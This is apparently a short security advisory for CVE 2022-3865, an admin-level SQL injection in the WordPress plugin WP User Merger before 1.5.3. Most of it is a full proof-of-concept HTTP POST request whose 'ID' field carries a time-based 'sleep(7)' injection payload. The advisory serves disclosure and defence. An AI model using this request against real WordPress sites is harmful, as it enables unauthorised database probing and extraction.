WP User Merger < 1.5.3 – Admin+ SQLi via ID | CVE 2022-3865

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as admin

Proof of Concept

POST /wp-admin/users.php?page=wpus_merger HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/users.php?page=wpus_merger
Content-Type: application/x-www-form-urlencoded
Content-Length: 336
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

start_merge_field=f0b23020e0&_wp_http_referer=%2Fwp-admin%2Fusers.php%3Fpage%3Dwpus_merger&user_ids%5B%5D=11&url%5B%5D=&posts%5B%5D=11&display_name=test111&ID=13+and+sleep(7)&user_ids%5B%5D=13&user_login=test111&user_nicename=test111&user_email=test111%40c.com&user_url=&user_status=0&roles=author&url%5B%5D=&posts%5B%5D=13&start_merge=